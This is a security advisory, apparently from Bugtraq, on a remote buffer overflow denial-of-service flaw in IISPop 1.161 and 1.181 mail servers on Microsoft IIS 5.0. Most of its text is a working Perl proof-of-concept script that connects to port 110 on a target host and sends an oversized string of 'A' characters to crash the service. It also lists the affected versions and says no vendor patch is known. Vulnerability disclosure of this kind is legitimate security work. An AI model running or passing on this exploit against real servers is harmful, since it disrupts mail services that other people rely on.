IISPop Remote Buffer Overflow Denial of Service Vulnerability

Bugtraq ID:	6183
Class:	Boundary Condition Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 14 2002 12:00AM
Updated:	Nov 14 2002 12:00AM
Credit:	Discovery credited to securma massine <[email protected]>.
Vulnerable:	Curtis Specialty Consulting IISPop 1.181 - Microsoft IIS 5.0 Curtis Specialty Consulting IISPop 1.161 - Microsoft IIS 5.0
Not Vulnerable:

IISPop Remote Buffer Overflow Denial of Service Vulnerability

The following proof of concept exploit was provided by securma massine <[email protected]>:

#!/usr/bin/perl -w
# tool : iispdos.pl
# shutdown all version of IISPop
# greetz crack.fr , marocit ,christal
#

use IO::Socket;

$ARGC=@ARGV;
if ($ARGC !=1) {
print "\n-->";
print "\tUsage: perl iispdos.pl <host> \n";
exit;
}

$remo = $ARGV[0];
$buffer = "A" x 289999;

print "\n-->";
print "\tconnection with $remo\n";
unless ($so = IO::Socket::INET->new (Proto => "TCP",
PeerAddr => $remo,
PeerPort
=> "110"))
{
print "-->";
print "\tConnection Failed...\n";
exit;
}
print $so "$buffer\n";
close $so;

print "-->";
print "\tnow test if the distant host is down\n";
exit;

IISPop Remote Buffer Overflow Denial of Service Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.